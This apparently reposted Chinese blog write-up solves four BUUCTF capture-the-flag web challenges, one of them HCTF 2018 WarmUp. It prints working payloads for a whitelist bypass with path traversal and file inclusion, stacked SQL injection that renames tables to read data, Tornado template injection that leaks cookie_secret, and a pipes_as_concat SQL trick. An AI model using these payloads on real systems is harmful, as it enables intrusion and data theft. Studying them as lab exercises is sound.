Web-1(1-4)-BUUCTF平台

本篇内容:
[HCTF 2018]WarmUp
[强网杯 2019]随便注
[护网杯 2018]easy_tornado
[SUCTF 2019]EasySQL

上一篇 | 目录 | 下一篇


[HCTF 2018]WarmUp

一打开一个表情包,直接F12查看源代码,发现source.php
在这里插入图片描述
访问发现如下代码:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

在这里插入图片描述

首先,要传入一个file参数。
1、file不为空
2、file值是字符串
3、经过emmm类里的checkFile方法后返回值为1

都成立的情况下就会包含(include)file。

分析checkFile方法。
有一个白名单

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

那就包含一下hint.php试试,发现flag in ffffllllaaaagggg。
在这里插入图片描述
接着往下看:
在这里插入图片描述

1、if判断中共有三个判断会return true。之前的payload:

source.php?file=hint.php

其实就是第一个判断的return true。但这里就无法包含我们想要的ffffllllaaaagggg文件。

2、那就试着满足第二个判断的return true,构造payload:

1)source.php?file=hint.php?../../../../../ffffllllaaaagggg
(2)source.php?file=hint.php%3f../../../../../ffffllllaaaagggg

这里%3f就是?的url编码,由于浏览器会自动的解码一次,所以%3f就被解码为?了,和第一条没区别。

成功拿到flag。
在这里插入图片描述
在这里插入图片描述

这里能成功包含ffffllllaaaagggg文件是因为PHP将第一个斜杠/之前的视为了一个文件夹,
然后../逐级返回根路径下找ffffllllaaaagggg文件,../多写几个完全没有问题。

3、同样的,试着满足第三个判断的return true,构造payload:

source.php?file=hint.php%253f../../../../../ffffllllaaaagggg

在这里插入图片描述

这里%253f就是?的两次编码,经过浏览器一次url解码,php判断里的一次url解码后就变为?了,满足条件。




[强网杯 2019]随便注

访问网址
在这里插入图片描述
输入 1’ 报错, 1’# 显示正常,说明存在注入。
输入 1’ order by 2# 显示正常,输入 1’ order by 3# 报错。
输入 1’ union select 1,2# 返回一个正则过滤规则,几乎常用的字段都被过滤了。
在这里插入图片描述
尝试堆叠注入 1’;show databases# 成功回显:
在这里插入图片描述
在这里插入图片描述
得到两个表 1919810931114514words
words表里的字段:

1';show columns from words#

在这里插入图片描述
发现words表字段为id和data,这和最开始回显的内容对应。
在这里插入图片描述
猜测回显的就是words表里的内容。
再来看看1919810931114514 表的内容,数据库中全数字组成的表需要用反引号`括起来。

1';show columns from `1919810931114514`#

在这里插入图片描述
发现这张表有我们想要的flag。
回显的是words表里的id和data,那怎么取出1919810931114514表里的flag呢?
骚操作:改名。
没有过滤alterrename,那就将1919810931114514表改名为words,将flag字段改为id。

1、在MySQL中,RENAME语句修改表名。基本语法格式如下:
	RENAME 旧表名 TO 新表名;
2、在MySQL中,ALTER TABLE语句修改数据表的字段名。基本语法格式如下:
	ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;

最终payload:

1';rename table words to aaa;rename table `1919810931114514` to words;alter table words change flag id varchar(100);show columns from words;#

在这里插入图片描述
接着只要输入 1' or '1'='1 就能拿到flag。
在这里插入图片描述





[护网杯 2018]easy_tornado

访问网址:
在这里插入图片描述
点击/flag.txt,说明flag在 /fllllllllllllag 里。
在这里插入图片描述
点击/welcome.txt,render()函数是渲染函数,进行服务器端渲染。具体的我不咋懂,但是能想到的是模板注入
在这里插入图片描述
点击/hints.txt
在这里插入图片描述
直接尝试一下访问/fllllllllllllag,

file?filename=/fllllllllllllag

发现网址跳转了,还发现了奇怪的参数。
在这里插入图片描述
reader()函数联想到模板注入,尝试一下:
在这里插入图片描述
尝试了±*/等符号,都被过滤了,异或^没被过滤,成功回显。
注意到之前访问/flag.txt/welcome.txt/hints.txt页面时后头都带了md5值,然后/hints.txt给了如下信息:

md5(cookie_secret+md5(filename))

现在就要知道cookie_secret怎么拿到,百度了一下发现是Tornado框架的附属文件handler.settings中存在cookie_secret。
尝试一下:

error?msg={{handler.settings}}

在这里插入图片描述
cookie_secret为 bdc2d594-c0cc-4920-b52d-84c0decdb795 。
然后filename就是/fllllllllllllag了,进行md5加密后就是 3bf9f6cf685a6dd8defadabfb41a03a1 。
在这里插入图片描述
cookie_secret和filename拼接后再进行md5加密,值为 34ad8ee4e06e7d3f7283264d7a32d30c 。
在这里插入图片描述
尝试访问一下拿到最终flag:

file?filename=/fllllllllllllag&filehash=34ad8ee4e06e7d3f7283264d7a32d30c

在这里插入图片描述





[SUCTF 2019]EasySQL

访问网址:
在这里插入图片描述
尝试了一下,发现回显的就三种样子:
成功回显就会有存在Array字眼;
失败回显就是空;
被过滤了就是Nonono。

Fuzz模糊测试了一下,发现过滤了一大堆:
在这里插入图片描述
尝试了一下堆叠注入,成功回显:

1;show databases;

在这里插入图片描述

1;show tables;

在这里插入图片描述

1;show columns from tables;

在这里插入图片描述
该死的,查看了一下之前Fuzz的结果,发现from被过滤了。
啊啊啊,不会写,百度,发现原理是

select $_GET['query'] || flag from flag

还发现原来没有过滤*,导致了非预期解。
在这里插入图片描述
预期解:

知识点:
PIPES_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数concat相类似。
在oracle 缺省支持 通过“||”来实现字符串拼接,但在mysql缺省不支持。需要调整mysql 的sql_mode 模式为pipes_as_concat。

所以payload如下:

1;set sql_mode=pipes_as_concat;select 1

在这里插入图片描述






自己还是太菜了,还需努力啊。

========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/105411470
========================================================

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章